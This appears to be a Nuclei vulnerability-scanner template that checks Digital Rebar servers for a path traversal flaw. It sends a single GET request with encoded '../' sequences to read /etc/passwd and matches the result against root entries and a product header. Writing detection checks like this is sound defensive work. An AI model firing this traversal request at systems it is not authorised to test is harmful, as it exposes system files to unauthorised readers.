39 lines
1.2 KiB
YAML
39 lines
1.2 KiB
YAML
id: digitalrebar-traversal
|
|
|
|
info:
|
|
name: Digital Rebar - Local File Inclusion
|
|
author: c-sh0
|
|
severity: high
|
|
description: Digital Rebar versions 4.3.0, 4.3.2, 4.3.3, 4.4.0, and maybe others are vulnerable to local file inclusion because web requests can navigate outside of DRP controlled areas.
|
|
reference:
|
|
- https://docs.rackn.io/en/latest/doc/security/cve_20200924A.html
|
|
- https://docs.rackn.io/en/latest/doc/release.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cwe-id: CWE-22
|
|
metadata:
|
|
max-request: 1
|
|
tags: lfi,rackn,digitalrebar
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "root:.*:0:0"
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- 'X-Drp-Sha256sum:'
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 490a0046304402202b2251aa0982617ab7d1ac89b161f29697ff138ca764a8222fac030d56dede930220172a9ce328e8b0fa85197baf3f9b8da998acb35d1c9b6ec2bd2919c5008ace01:922c64590222798bb761d5b6d8e72950 |